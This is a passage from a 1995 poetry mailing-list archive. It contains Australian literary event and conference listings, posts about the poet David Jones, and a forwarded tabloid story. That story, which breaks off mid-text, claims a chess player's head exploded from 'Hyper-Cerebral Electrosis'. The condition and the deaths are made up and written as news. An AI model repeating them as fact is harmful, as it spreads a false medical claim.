Every second Tuesday...POETRY SUPREME 9pm, Eli's Restaurant, 132 Oxford Street, Darlinghurst. Details phone/fax (02) [redacted]

11 October WEA Poetry Writing Workshop. 8 week course with Alan Jefferies. Details ph (02) [redacted].

21 October 7pm LAVENDER AND SHADOWS. Lesbian Writers read their work, Lilyfield Community Centre 19 Cecily Street Lilyfield. $8 $6 conc.

Every Sunday...THE WORD ON SUNDAY 11.30am Museum of Contemporary Art, Circular Quay. 2 Admission $8/ $5.. Details phone (02) [redacted].

Every Thursday...POETRY ALIVE 11am-1pm, Old Courthouse, Bigge Street, Liverpool. Details phone (02) [redacted].

Every Tuesday night THE WALLS HAVE EARS at Little West Cafe 346 Liverpool Street Darlinghurst 8.30 till late.

1st and 3rd Wednesday ...POETS UNION 7pm, The Gallery Cafe, 43 Booth Street, Annandale. Details phone (02) [redacted].

1st Friday...EASTERN SUBURBS POETRY GROUP 7.30pm, Everleigh Street, Waverly. Details phone (02) [redacted].

1st Tuesday...ICEBREAKERS GAY POETRY 8pm, 197 Albion Street Surry Hills. $2 includes free coffee. Details phone Noel Tointon (02) 3172257.

2nd & 4th Thursday...FRESH WORDS 7.30pm The Poets Union on Oxford Street, Berkelouw Books, 19 Oxford Street Paddington. Guests and open section. October 12 Tracy Ryan and John Kinsella with new issue of Salt launched by Neil James Phone Anna (02) [redacted] or 015 704 364 or Nick Sykes (02) [redacted].

3rd Sunday...POETRY WITH GLEE: THE POETS UNION AT GLEEBOOKS. 2-4pm, 49 Glebe Point Road, Glebe. Admission $5/$2 Details Nick Sykes (02) [redacted].

4th Monday of each month...FUTURE POETS SOCIETY 8pm, Lapidary Club Room, Gymea Bay Road, Gymea. Details phone Anni Featherstone (02) [redacted].

4th Wednesday...LIVE POETS AT DON BANKS MUSEUM 7.30pm, 6 Napier Street North Sydney. Guest reader plus open section. Admission $6 includes wine. Details phone Sue Hicks or Danny Gardiner (02) [redacted].

Poets Union / State Library Workshops at the State Library Macquarie Street Sydney 4th Saturday . October 28 John Bennett, November 25 Luke Davies. Poets Union Inc. or The Library Society members $20 per workshop Non-members $25 per workshop. Details phone [redacted].

October 21 austraLYSIS presents the third and final concert in its 1995 concert series at the Sydney Conservatorium of Music, Macquarie Street Sydney 8pm. COMPuting the sounds and VISIONS, in today's improVISATION yesterday'sCOMPosiTIONS, and tomorrow's COMPRoVISATIONS. This concert is titled 'Sighting Sounds: Visual and aural objects intermingle and transmigrate.' Premieres of new work by Steve Adams, austraLYSIS, Colin Bright (El Nino dances), Roger Dean (Electric Tomato), Adrian Luca; and music by Ian Shanahan (Arc of Light). $18 (conc $12). Details ph (02) [redacted], fax (02) [redacted].

October 26 8pm Writers at the River, Roscoes Riverside Restaurant, Penrith, NSW. 'In the Looking Glass' theme featuring Steven Herrick. Open Section included. Details contact Carl Leddy (047) 21 2087.

October 28/29 Writers at the River at the Penrith City Festival - The Wonder of Words Weekend. Saturday 28 October - 10am to noon 'In days of old' master class at Vicarys Winery Woolshed, 1.30 - 3pm 'Muses from hardship' master class at Vicarys Winery Woolshed (master classes conducted by John Derum, Anthony Lawrence, Patricia Gaut and Peter Minter). 6 - 7pm Twilight reading on the banks of the Nepean River including the launch of Anthony Lawrence's new book Cold Wires of Rain (Penguin) at 6.30pm. 7.15 - 10pm 'Inspiration through conviviality' Poets festival dinner Hugo's Restaurant. Sunday October 29. 'Writers on the River' Master classes, readings, lunch and discussion aboard the 'Nepean Belle Paddle Wheeler'. Cost $150. Special accommodation packages are available from a number of local motels. For details about the festival, or the contact numbers of the motels contact Carl Leddy ph/fax (047) 21 2087.

OCTOBER AT ARIEL BOOKSELLERS

5 October 6.30pm. Ariel Booksellers present an evening with Patricia Lovell. Lovell, one of Australia's most influential film producers (Gallipoli, Picnic at Hanging Rock), has written a autobiography No Picnic which traces her career in the Australian film industry. RSVP to Ariel on (02) [redacted].

2 November 7pm. 3 parts Glamour. Gaby Naher (The Underwharf) and Linda Jaivin (Eat Me). A reading and discussion chaired by Justine Ettler (The River Ophelia). Free

Ariel Booksellers is at 42 Oxford Street Paddington. Phone (02) [redacted], fax (02) [redacted].

OCTOBER AT GLEEBOOKS

Thursday 5 October 6pm. David Brooks book launch The House of Balthus launched by David Malouf. Free

Friday 13 October 6.30pm. Thomas Keneally Homebush Boy - A Year in the Life of Thomas Keneally. $6/4.

Monday 23 October 6.30pm. Peter Ackroyd will be reading from his biography of William Blake. $6/4.

Tuesday 24 October 6.30pm. Readings by Joseph O'Connor, Matt Condon, Jack Hodgins and Frank Ronan. $6/4.

Wednesday 25 October 6.30. Brian Moore will be reading from his book The Statement. $6/4

Gleebooks is at 49 Glebe Point Road Glebe. For details and bookings for all events ph (02) 6602333.

NSW WRITERS' CENTRE EVENTS

15 October WRITERS BY THE POOL, Rozelle Balmain Festival 11am at Elkington Park Balmain near the pool. Winners of the NSW Writers Centre/ Village Voice short story competition will be announced and will read their work. Details contact NSWWC 02 [redacted]

WOMEN WRITERS' NETWORK 2nd Wednesday. 7.30pm, NSW Writers' Centre. Details Ann Davis (02) [redacted].

FEMINIST & EXPERIMENTAL WRITERS' GROUP meets every second Friday 6.30-9.30pm. Details Margaret Metz (02) [redacted] or Valerie Williamson for details of venues.

INTRODUCTION TO WRITING FOR CD ROM (INTERACTIVITY). 29 October 1995. 10am - 5pm. An introduction to the world of CD ROM for writers with ideas. A stimulating one day session for those interested in developing ideas, interactive games and stories. Course conducted by David Jobling. $55 (members NSWWC) $65 (nonmembers). Limit of 20 places. Bookings and details to NSWWC 02 [redacted]

LIFE STORIES: A weekend workshop with Patti Miller. 4 & 5 November 1995. This workshop is for people who want to get started on their life story or the life

story of a family member. $65 (members NSWWC & conc) $80 (nonmembers). Bookings and details to NSWWC 02 [redacted].

PUBLISHING & EDITING SEMINAR SERIES conducted by Robin Appleton. 7 October - Publisher, author and copyright, 8 October & 14 October -Principles of editing, 15 October - Parts of a book, 21 October - Lists, glossaries, photographs and captions, 22 October - Indexing & proofreading. For cost and bookings contact the NSWWC 02 [redacted].

CREATIVE WRITING COURSE with Colleen Burke. 8 weeks beginning 24 October. $80 (members NSWWC $60 NSWWC conc) $100 (nonmembers). Limit 15. Bookings and details to NSWWC 02 [redacted].

REGIONAL NSW

ARMIDALE 1st Wednesday 7.30pm, Rumours Cafe in the Mall. Details phone James Vicars (067) 73 2103.

WOLLONGONG 2nd & 4th Tuesday 7.30pm, Here's Cheers Restaurant, 5 Victoria Street, Wollongong. Details phone Ian Ryan (042) 84 0645.

LISMORE 3rd Tuesday 8pm. Stand Up Poets, Lismore Club, Club Lane. Details phone David Hallett (066) 891318.

NEWCASTLE / HUNTER VALLEY

3rd Monday... Poetry at the Pub. Northern Star Hotel, 7.30pm Beaumont Street Newcastle Street $2/$1. September features Springwood Poets. Details phone Bill Iden (049) 675 972

MAITLAND Poetry group 4th Friday 7.30, Literary Institute in Banks Street East Maitland. Guest poet Norman Talbot. $2. Details phone Bruce Copping (049) 301497.

BLUE MOUNTAINS Friday Nights at Varuna Writers' Centre 7.30pm: Includes tea, coffee & biscuits. $2 buys entry and a lucky door ticket. Varuna Writers' Centre, 141 Casacade Street Katoomba NSW 2780. Details ph Peter Bishop (047) 825 674.

13 - 15 October Blue Mountains Poetry Festival. Varuna Writers Centre and the Poets Union at 141 Cascade Street Katoomba Details ph Peter Bishop (047) 825 674.

WAGGA WAGGA

Tuesday 10 October 8pm Firenze Restaurant, John Griffin, current Booranga fellowship holder, poet, short story writer, radio scriptwriter from SA, will join (courtesy of the Poets' Union) Peter Kirkpatrick, poet, editor, scholar and Beth Spencer, essayist, poet for a fantastic evening of writers' readings. Open mike opportunities for new work. Admission: $8, $6, $5.

12 October 7.30pm, Booranga Writers' Centre, Charles Sturt University John Griffin (see above) will conduct a workshop on writing for radio. Admission: $12, $10.

29 October 12.30 - 5pm, Booranga Writers' Centre, Charles Sturt University: Margaret McAlister, children's/romance author, will conduct a workshop on writing Romance. Admission: $25, $20.

Tuesday 31 October 8.00pm, Firenze Restaurant: Margaret McAlister Reading. Admission: $8, $6,$5.

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QUEENSLAND

Queensland Writers Centre Events

EXCITING WRITING: READINGS OF NEW WORKS AT THE QUEENSLAND WRITERS' CENTRE

Tuesday 3 October. 7pm. As part of Warana Writers' Week The Queensland Writers' Centre Presents an evening of writing excellence at Grand Orbit, 1 Eagle Street, The Pier, City with Andrew McGahn, Robbie Lappan, Matthew Condon, Fran Ross, Marcus Gibson, Michael Richards (including a preview of his upcoming QTC production ' Christmas at Turkey Beach'). 'Paradise to Paranoia' an anthology featuring many of the featured writers will be launched by Laurie Muller and Marion Halligan. Tickets must be booked before the event. Contact QWC for further details phone (07) 8391243.

Saturday 7 October 8.30am Romance Writers of Australia One Day Conference at Lennons Hotel, Queen Street Mall, Brisbane. Speakers include Helen Bianchin, Lu Cairncross, Kath Filmer Davies, Emily French and Meredith Webber. Details phone (07) 3821 1373.

NOW AVAILABLE FROM THE QUEENSLAND WRITERS' CENTRE.....
HANDBOOK FOR QUEENSLAND WRITERS.

Contents include Preparation, Representation, Professional Issues and Development and Funding. Cost $10 plus $1.50 postage for QWC members 0r $15 plus $1.50 for non members. For more information contact the QWC.

WARANA WRITERS WEEK 1995
Sunday October 1 - Thursday 5 October.

Daily program in the Brisbane Customs House, evening events at various city venues. Interstate visitors include Penelope Nelson, Damien Broderick, Thomas Shapcott, Justine Ettler, Marion Haligan, Nick Enright, Gilian Hanscombe, Victor Kelleher, Ursula Dubosarsky, Patsy Adam-Smith, Rosemary Dobson and Fay Zwicky who will join many Queensland writers of fiction, biography, poetry

and drama including Helen Demidenko/Darville, Venero Armanno, Jay Verney, Daynan Brazil, Hugh Lunn, Michael Noonan and Estelle Pinney among others.Highlights include the Awards Dinner in the Customs House on Sunday 1 October where the Steele Rudd Award, the David Unaipon Award, the Premier's Poetry Award, the City of Brisbane Short Story Award and the State Library Young Writers Award will be presented. The Festival program is available from Brisbane libraries, Queensland Writers' Centre, selected newsagents and booksellers, Brisbane City Council Information Centres and the Warana Offices. Or phone the Warana Hotline on (07) 38522468.

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VICTORIA

MELBOURNE

Last Friday 6.30pm MELBOURNE POETS Meeting and reading/workshop The Hawthorn Lower Town Hall, 360 Burwood Road, Hawthorn (entry and car parking at rear). 6.30pm meeting begins, 7.30pm reading/ workshop begins. Cost $3 (Members), $5 (non members). Details write to Martin French 1/16 Kent Road Surrey Hills Vic 3127.

La Mama Poetica 2nd October La Mama 205 Faraday St Carlton. Jordie Albiston and Diane Fahey who are both being published by Spinifex Press and Warrick Wynne, who is having a collection published by Five Islands Press. We will have our usual format with a discussion forum following the first bracket, so come along with prepared to talk to the poets.

3rd Sunday each month; 2pm Readings at the Eaglemont Bookshop 525 Brunswick St North Fitzroy. These readings apparently have been a little irregular over recent months so contact Shelton Lea ph (03) 4863219 to confirm.

11 October 8pm Black Pepper Authors at Mietta's 7 Alfred Place Melbourne. Black Pepper, a new and exciting press, presents a reading by its 1995 authors: John Anderson, Susan Hancock, Graham Henderson, Nicholas Playford and K F Pearson. $10/$6. Details and bookings ph (03) 9654 2366 fax (03) 9654 2317.

22 October 5pm Victorian Premier's Literary Awards Winners Readings in the Lounge at Mietta's 7 Alfred Place Melbourne. $15. Details and bookings ph (03) 9654 2366 fax (03) 9654 2317.

October 13 -15 Dookie Agricultural College Residential Writers' Camp Number 7. Feel like a spring holiday in the country? Need some stimulation, some instruction, some time to write? Here's an opportunity to stretch your legs and your mind. Join 70 to 100 others in a glorious setting for two and half days of workshops with 8 of Australia's best writers: Glenda Adams (NSW) novel (this

class is full), Chris Mansell (NSW) poetry,, Kim Scott (WA) Fiction, Peter Rose (Vic) poetry, Kerry Greenwood (Vic) crime, historical fiction, research, Meredith Costain (Vic) children, Tony Watts (Vic) stage & screen and Antoni Jach (Vic) fiction. Each class is limited to 12 people and are run as 2 45 minute workshops. There is also plenty of time to mingle and meet other people who share your interest, from new to published writers. Cost $175 ($160 conc) covers accommodation, meals and workshops. Details ph Kristin Henry (03) 95317331 or Sherryl Clarke (03) 93141082

1995 MELBOURNE WRITERS' FESTIVAL October 16 to 22

1995 will see the ninth annual Melbourne Writers' Festival - an extraordinary celebration of books, writing, literature and contemporary issues. Last year, close to 20,000 readers and book buyers mingled with over 100 Australian and international writers in a series of interviews, panel discussions, debates and readings. This October will undoubtedly see an even greater explosion of frenzied literary Activity. The Melbourne Writers' Festival presents 7 days of literary activities designed to showcase the art and talent of the writer and to enhance the pleasure of the reader. This year's overseas guests include: Peter Ackroyd, John Berendt, Shobna De, Lauris Edmond, Gunnar Harding, Jack Hodgins, Carsten Jensen, Ryszard Kapuscinski, Sara Maitland, Brian Moore, Joseph O'Connor, Frank Ronan, Danton Remoto, Ruth Rendell, Theo Richmond, Tom Robbins and Bjorg Vik. Australian literature will be well represented by Paul Davies, David Malouf, Frank Moorhouse, Helen Garner, Elizabeth Jolley, Jack Hibberd, Susan Varga, Henry Reynolds, Chris Wallace-Crabbe, Robert G Barnett, Kate Grenville, Jim Davidson, David Brooks, Philip Hodgins, Graham Little, John Romeril, Amanda Lohrey, Alex Castles and Andrew McGahan amongst many, many other. There will be writers in conversation, on panels and in forums. There will also be the chance to hear in depth interviews with individual writers and to listen to a wide and varied program of readings. The festival will feature a special tribute to Elizabeth Jolley, as well as a special event for school age readers and a host of exciting umbrella events. Subjects covered by panels at the festival range from the creative moment to the internet, from the turn of the millennium to the killing of history and from reading to travel. Other subjects, such as decadence, crime writing, ethics and writing about film are also covered in the program.

For further details contact Julie Morgan ph (03) 9696 5060, fax (03) 9696 5866.

WESTERN AUSTRALIA

DISK READINGS are held on the Third Tuesday of each month at Pockets Cocktail Lounge 44 Lark Street Northbridge. The October reading will be a special 10th Anniversary reading and will feature Philip Salom, Marion

Campbell, Fay Zwicky, Kim Scott, Penelope Brown and Ross Bennett. Admission is free. Details Mike Shuttleworth ph. (09) 4304991.

** ** **

The Katherine Susannah Prichard Writer's Centre, at 11 Old York Rd Greenmount, is perched on the side of the Darling Range, looking towards the towers of Perth and the setting sun. It is surrounded by National Park and the developing suburbs of the Hills district. The place is small and friendly and the kettle is nearly always on the boil.

The Centre holds readings on the first Sunday of the month at 7.30pm. Three invited readers are featured. Cost is $5/$4 and includes light refreshments. Faye Davis is currently writer-in-community working on a project called 'Writing in the Hills' Changes'. She is running moderately priced ($3.50 a session) workshops in the district, and is available for consultation at the house by appointment. (this project is supported by the Australia Council).

The house itself, former home of Katherine Susannah Prichard, is heritage listed and tours cost $5. Wednesday and Sunday are tour days. Ring first to book. A small writer's studio, once used by Katherine, is now used by writers-in-residence. The KSP Foundation, the Centre's management body, is currently investigating the possibility of letting the Studio on a short term basis to writers from the city, country and/or interstate.

Ring Rob Finlayson, the co-ordinator, on Thursdays, between 10.30am and 5.30pm (09) [redacted]., to chat about writing and writers, and to find out what's happening in the Hills of Perth and the sunburnt city at their feet. At other times ring the Chairperson, Rose van Scon (09) [redacted].

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TASMANIA

Wednesday 4 October there'll be a Tasmanian Writers' Union (TWU) reading at the Bavarian Tavern 28 Liverpool Street Hobart at 7.30 pm. featuring readers from the Tasmanian Poetry Festival: Matt Simpson (U.K.), Jenny Boult (Tas), Rudi Krausmann (NSW), Anthony Lawrence and Chris Mansell (NSW). Cost $8/$5 conc. Details phone TWU (002) 240029.

Thursday 5 October, 5.30pm. Joint Reading/Book launch. Anthony Lawrence Cold Wires of Rain (Penguin) & Rudi Krausmann Made in Australia (an anthology of 80 Australian poets with German translations). At Hobart Bookshop 29 Criterion Street Hobart. Details ph (002) 349654.

Wednesday 25 October 6pm. The Tasmanian Writers Union, Hobart Bookshop and Harper Collins publishers invite you to hear Jenna Mead launch Amanda

Lohrey's new novel Camille's Bread. At the Hobart Bookshop, Criterion Street Hobart. Details ph (002) 349654.

Rosny College in association with the Tasmanian writers union resents a reading by writers workshop students on Thursday 5 October at 7pm at the Salamanders' Food Fair and Cafe. 55 Salamanca Place Hobart. Details ph Christine Bostock on (002) 449242.

Doris Leadbetter will be TWU Writer in Residence during October. She will be working with mature women especially in rural and isolated communities. She will be at the Tasmanian Poetry Festival from 29 September to 1 October. Then: 2 - 10 October Northwest coast, 11 - 15 October East coast, 17 - 22 October Flinders Island and 23 - 31 October Hobart, Cygnet and Huon. There will also be a Sunday lunch for women with her at the Bellerive Community Arts Centre on 29 October $15 includes drinks. For details on the lunch contact Marjorie Luck or Fiona Cooke at TWU (002) 240029. For details on the rest of Doris' tour contact Marjorie (ph 002 442 592 wk or 002 344384 home) or Glynis Donnelly (ph 004 245497).

The Tasmanian Poetry Festival takes place at Launceston from 29th September to 1st October Readers include Matt Simpson (UK), John Harding, Chris Mansell, Dennis Kevans, JS Harry, Dipti Saravanamuttu, June Perjins, Marilyn Arnold, Jenny Boult, Bruce Penn and Tim Thorne. Also open readings, young writers' reading, bookstall and the famous Launceston Poetry Cup - Australia's oldest and most prestigious performance poetry competition - on Saturday night 30 September at the Launceston Novotel. Further information from the director, Tim Thorne, on (003) 319658 (phone/fax) or from PO Box 345 Launceston Tas. 7250.

*** end of part 1 ***

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965. **Mark Roberts**

AWOL: October Happenings (Part 2 Conferences)

Thu 28 Sep 1995

*** Part 2 begins ***

COMPETITIONS

6 OCTOBER SHIRE OF MITCHELL SHORT STORY COMPETITION

This competition offers prizes in open, teenage and junior categories. Details contact library staff ph (057) 92 1861 0r (057) 843357.

16 OCTOBER HQ/DYMOCKS SHORT STORY CONTEST

A contest for unpublished writers, for a story less than 3,500 words that has never been published. First prize of $5,000 plus publication in HQ magazine. 6 runners up will receive a $50 Dymocks book token and a fountain pen. Entry forms in Sept/October issue of HQ. Details ph Sarah Burns (02) [redacted].

20 OCTOBER: MELBOURNE POETS NATIONAL POETRY COMPETITION

Prizes to the value of $500. Judged by Judith Rodriguez. $3.00 entry fee. Entries to 'The Melbourne Poets National Poetry Competition', c/ Martin French, 1/16 Kent Road, Surrey Hills, Victoria 3127. Poems should be previously unpublished, they can be on any theme, they should be typed, no longer than 20 lines and should be accompanied by a cheque or money order of $3 per poem. There is no limit to the number of entries any individual can make. Each poem should be accompanied by an entry form (contact organisers). The poet's name should not appear on the page with the poem. For further details contact Melbourne Poets at the above address.

27 OCTOBER: THE 1996 MARTEN BEQUEST TRAVELLING SCHOLARSHIPS.

Entries are now being accepted for a travelling scholarship valued at $15,000 to be awarded in each of the following fields: acting, instrumental music, painting, poetry, prose and singing. All applicants must have been born in Australia, be between 21 and 35 at the time of application. Entry forms available from Aimee Said, Arts Management, 180 Goulburn Street, Darlinghurst NSW 2010 ph (02) [redacted].

30 OCTOBER ULITARRA SHORT STORY COMPETITION.

For details on this competition contact Ulitarra magazine at PO Box 392 French's Forest NSW 2086.

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CONFERENCES

EUROPEAN ASSOCIATION FOR STUDIES ON AUSTRALIA

Third conference: Copenhagen, October 6-9, 1995

Conference theme: Inhabiting Australia: The Australian Habitat and Australian Settlement.

The conference aims to bring together contributions from a wide range of disciplines, from architecture to zoology. Papers which take up the theme from cultural, historical, social, scientific, literary and other perspectives are invited.

Further information available from
* Bruce Clunies Ross (45) 35 32 85 82
internet: [redacted]
* Martin Leer (45) 35 32 85 87

internet: [redacted]
* Merete Borch (45) 35 32 85 84
internet: [redacted]

Copenhagen University, Department of English Njalsgade 80, DK-2300 Kobenhavn S
Phone. (45) 35 32 86 00
Fax (45) 35 32 86 15

AUSTRALIAN WOMEN WRITERS: A SEMINAR

The State Library of NSW, Metcalfe Auditorium Saturday October 7 1995.

Sessions include: Introduction by Professor Elizabeth Webby, 'Rooms and Money of their own: Journalism in the Careers of some women artists and writers by A/Professor Susan Sheridan, 'The government stroke - Another look at the Miles Franklin Award' by A/Professor Jill Roe, 'Collaborative Writing: Dymphna Cusack, Miles Franklin and Florence James' by Debra Adelaide and 'The difficulty of getting published' a panel discussion featuring Ruby Lanford Ginibi, Amy Witting, Valerie and Kate Grenville. Admission $30 (members of the Library Society), $35 (non members), $10 (full time students). Prepayment is essential. Details ph (02) [redacted].

SYMPOSIUM: (POST) COLONIAL FICTIONS: RE-READING ELIZA FRASER AND THE WRECK OF THE STIRLING CASTLE.

University of Adelaide, 25-26 Nov., 1995.

Contact: Kay Schaffer, Department of Women's Studies, 08 [redacted] direct, 08 [redacted] FAX, e-mail: [redacted]

Post-colonial studies within Australia have attempted to re-evaluate and re-write colonial history to include those people either marginalised or subjugated by the colonial process. This two day symposium will explore a different aspect of post-colonial discourse through the exploration of one of the best known events in Australian colonial history. In 1836 the 'Stirling Castle' was wrecked off the Queensland coast and many of the crew together with the Captain's wife, Eliza, were marooned on Fraser Island. Events surrounding the rescue of the castaways, in particular Mrs. Fraser, received international media attention. In the last 160 years the story of Eliza Fraser has become the subject of popular myth, fiction, opera, art, film and scholarly research in the areas of cultural studies, literature, history, anthropology, archaeology, women's studies, and the visual arts. (Post) Colonial Fictions will examine critically the Eliza Fraser saga by bringing together, for the first time, an interdisciplinary team of academics, authors, artists and members of the Fraser Island community. Discussions will include feminist analyses of the incident, textual and

iconographic representations of Aboriginal people, and Eliza Fraser as a creative inspiration for the arts.

Speakers on 19th century ethnography, visual arts, and Fraser Island history include: Ian Mc Niven, Lynette Russell, Rod McNeil, Olga Miller, Elaine Brown; on 20th century cultural studies and Batdjala representations include: Kay Schaffer, Sue Kossew, Jim Davidson, Jude Adams and Fiona Foley. We are hopeful that the symposium will include an exhibition of Fiona Foley's works and a performance by University of Adelaide Conservatorium of Music students of the theatre opera: "Eliza Fraser Sings" (arranged by Peter Sculthorpe/libretto by Barbara Blackman).

AUSTRALIAN STUDIES AND THE SHRINKING PERIPHERY: SURFING THE NET FOR AUSTRALIA.

The Centre for Australian Studies in Wales, University of Wales, Lampeter, are hosting this conference next year. Organisers are calling for papers.

"In recent years the consolidation of Europe into the 15 states of the EU, the integration of east and west within Europe, and the progressive turning of Australia to its own Pacific backyard have furthered the impression of periphery: one world's edge looking distantly at the other."

The contacts are:

Dr Graham Sumner and Dr Andrew Hassam
Centre for Australian Studies in Wales
University of Wales
Lampeter
Dyfed, SA48 7ED,
Wales, UK.

Telephone: Graham Sumner [redacted] or 424790 (secretary) Fax: [redacted] Andrew Hassam [redacted] (secretary) Fax [redacted] E-mail: [redacted] or [redacted] Offers of papers should reach the organisers by 31 December 1995, and comprise a full title and an abstract of no more than 100 words.

Further information will be sent when available, and will appear on the Centre's WWW home-page (htp://www.lamp.ac.uk/oz).

INTERNATIONAL P.E.N. 62nd WORLD CONGRESS

26 October - 1 November, 1995 at the Esplanade Hotel, Fremantle, W.A.

This Congress will be one of the most important literary and cultural events ever staged in Australia. The Congress will seek to explore the issue of freedom of speech in relation to different cultural contexts. It will also include literary

readings, discussions and performances of Aboriginal culture, an International Quiz Night, a Hypothetical and many events designed to be fun!

Speakers will include Ronald Harwood (England), Goenawan Mohamad (Indonesia), Keki Daruwalla (India), George Aditjondro (Indonesia), Satendra Nandan (Australia-Fiji), Samina Yasmeen (Australia-Pakistan), Beth Yahp (Australia-Malaysia), Andrey Voznesensky (Russia), Ilsa Sharp (Australia-Singapore), Sally Morgan and Jill Milroy, Elizabeth Jolley, Judith Rodriguez, Tom Shapcott, and many more. The Congress is open to anyone interested in literature and culture, and in the issue of Freedom of Speech. For the full program and other details, please contact Promaco Conventions, Ph. 09. [redacted], Fax 09.[redacted]; or your local PEN Centre, or the Perth PEN Centre, PO. Box 1131 Subiaco, Australia 6008, Ph. & Fax: 09.[redacted]. Expressions of interest in membership of PEN are also warmly welcomed, and should be addressed to the PEN Centre. PEN works for freedom of speech and on behalf of writers in prison.

THE WHOLE VOICE
2nd National Conference on Poetry, 3-5 November 1995 University of Sydney

The Whole Voice Poetry Conference aims to bring together those with an active interest in and involvement with poetry in Australia. The conference is a national one and is a follow-up to "The Space of Poetry" conference held at Melbourne University in 1993. It is being jointly organised by the University of Sydney and the Poets' Union.

The 1995 conference will include poetry readings and papers from poets, editors, academics and publishers. Poets reading include Judith Beveridge, Laurie Duggan, Susan Hampton, J.S. Harry, Jill Jones, Donna McSkimming, Jan Owen, Geoff Page, Margaret Scott, Andrew Taylor, and Richard Tipping. Paper-givers include Peter Steele, Susan Hawthorne, Rosemary Huisman, Christopher Kelen, Jeri Kroll, Martin Langford, and Max Richards. Richard Allen and Karen Pearlman will present a performance of dance and poetry on Friday evening and Richard Tipping, will co-ordinate a display of visual poetry. These two events will present other views of the idea of "voice" in poetry. There will also be time for open readings and discussion.

"The Whole Voice" theme was glossed as : "a poetry that speaks as fully as possible, that allows the repressed to speak, that doesn't reject or diminish emotion, intellect or craft." The organisers expect this position to generate debate and creative argument, as the idea of "voice" is contentious. "The practising writer's idea of voice is an intimate friend," comments a poet. "Voice is a literary construction, with all the historical contingency which that implies," writes an academic. The very understanding of "voice" is basic to dialogue between all participants.

Date: 3rd to 5th November 1995
Venue: Woolley Building, University of Sydney

Cost: Early Registration (by 22Sept): $80; Full Registration $90 (Student/Unwaged: $45). Day Full Registration ($50, Day Student $25). Registration includes Friday evening reception, am and pm teas, Sunday morning coffee.

Contact: Rosemary Huisman, Dept English A20, Uni of Sydney NSW 2006. Ph: (02) [redacted]. Fax: (02) [redacted]. e-mail: [redacted]. Jill Jones. Ph: (02) [redacted]. e-mail: [redacted] Martin Langford. Ph: (02) [redacted]

THE IRISH CENTRE FOR AUSTRALIAN STUDIES: AUSTRALIAN STUDIES CONFERENCE

The Irish Centre for Australian Studies will be holding an Australian Studies Conference in Dublin from 3-6 July 1996. The three major streams will be history, culture and the environment. For further details contact David Day Professor of Australian History Department of Modern History University College Dublin Ireland.

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While AWOL makes every effort to ensure the accuracy of Happenings listing we suggest you confirm dates, times and venue.

AWOL would like to thank the following organisation who provided information for this list: NSW Writers Centre, Queensland Writers Centre, Tasmanian Writers' Union, AusLit discussion group (internet), FAW WWW LINK (http://www.ozemail.com.au:80/~faw/) and the other individuals and organisations who supplied information about their events directly to AWOL.

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966. Graham John Sharpe
Re: millennium & David Jones
Thu 28 Sep 1995

George Bowering wrote:
> Where is it a shock to see David Jones selected? Around here he has
> been for a long time considered along with Basil Bunting the main
> news from the UK.
>

Well George, normally whenever i mention david jones i get blank stares back. or better yet bad jokes about The Monkees. and as Peter Larkin mentioned it also seems to me that the critical circle around DJ is growing rapidly - no longer

restricted to Hague, Blissett, Dilworth, and a few others - but that is a fairly new phenomenon.

I did try to get information about the Jones centenary last January on the MODBRITS list, but i received nothing in reply. i am truly glad to know there was a centenary celebration for DJ. And Peter, i would really appreciate any info from the confrence you have, or even a few clues about the upcomming publications.

i'm presently working on a paper on DJ for a course on MOdernist long poems so am curious to see some new publications and some new approaches to Jones. The most current work i've seen of late on DJ (i think) has been Katherine Staudt (or something close to that) 's *At the turn of Civilization*

maybe i'm a sucker for First World War Lit.
or maybe i know a good thing when i read it

wishing
well

graham
.

↑ Index

967. **Peter Larkin**
David Jones
Thu 28 Sep 1995

I was delighted to see the topic of David Jones crop up as I've been spending a lot of this year (his centenary) thinking about him. A couple of weeks ago Alan Halsey (of the Poetry bookshop Hay on Wye) and I gave a joint paper on Jones as illustrator of The Ancient Mariner and we could see the impact Jones was making on an audience relatively unfamiliar with him. Members of this list might like to know that a collection of essays based on a conference held here at Warwick last April (I was one of the contributors) is due out sometime next year, edited by Paul Hills. There was also a conference at Lampeter last weekend, to which I didn't go, but something might well emerge from that. Seren Books have two new books on DJ due, and two exhibitions (one in London, one touring) will be opening in a matter of weeks. I can supply further details to anyone who might be interested. It's a good time just now to be interested in DJ and he seems no longer the property of a narrow circle of admirers. And at a time when the poetics and politics of "innovation" seem to be faltering it may be timely to look again at some of his diagnoses of the predicament of modern culture. What are the parts (which must be kept from going sour) to which revision as a solo mission doesn't reach? If he failed to

appreciate, or greatly mourned that culture has to be about forgetting, he teaches us how to recognise the fragments that work up through that process in unfamiliar patterns which reoriginate attachment. Peter Larkin Philosophy & Literature Librarian University of Warwick Library,Coventry CV4 7AL UK Tel:01203 524475 Fax: 01203 524211 Email: [redacted]

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968. **Larry Price**

Re: the Wild Blue Yonder

Thu 28 Sep 1995

Anyone who thinks that (Ron thinks that) Ketjak is the equivalent of the wild blue yonder simply hasn't read Ketjak.

Anyone who thinks that Alan Davies' Shared Sentences is a lexical wild blue yonder misses the point of form. (Now let's see: I have three toes, and red and blue crayons do this when eaten and swallowed.)

It evidently is continually to be restated: We are not in relation to the past. We are relation to the present, where (as Peter Larkin remarked concerning David Jones) "culture has to be about forgetting [and then] to recognize the fragments that work up through that process in unfamiliar patterns which reoriginate attachment."

That is, group formation indexes itself through the ferocity of its erasures. Its texts build back in that distancing within the "form" of the village, setting loose a contingency that in the reading levels any implied authority in terms such as "the new generation," "the old generation," "the new sentence," "the old sentence," and particularly "the members of this list."

The remainder is paranoia.

Larry Price

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969. **Jorge Guitart**

An especial danger to hard working poets (fwd)

Thu 28 Sep 1995

---------- Forwarded message ----------

THE DREADED H.C.E. BRUINBLAST
>
> Babinski_Ed/[redacted] writes:
> >
> > : >MOSCOW -

> > : >
> > : >Doctors are blaming a rare electrical embalance in the brain for the
> > : >bizarre death of a chess player whose head literally exploded in the
> > : >middle of a championship game!
> > : >
> > : >No one else was hurt in the fatal explosion but four players and three
> > : >officials at the Moscow Candidate Masters' Chess Championships were
> > : >sprayed with blood and brain matter when Nicolai Titov's head suddenly
> > : >blew apart. Experts say he suffered from a condition called
> > : >Hyper-Cerebral Electrosis or HCE.
> > : >
> > : >"He was in deep concentration with his eyes focussed on the board," says
> > : >Titov's opponent, Vladimir Dobrynin. "All of a sudden his hands flew to
> > : >his temples and he screamed in pain. Everyone looked up from their games,
> > : >startled by the noise. Then, as if someone had put a bomb in his cranium,
> > : >his head popped like a firecracker."
> > : >
> > : >Incredibly, Titov's is not the first case in which a person's head
> > : >spontaneously exploded. Five people are known to have died of HCE in the
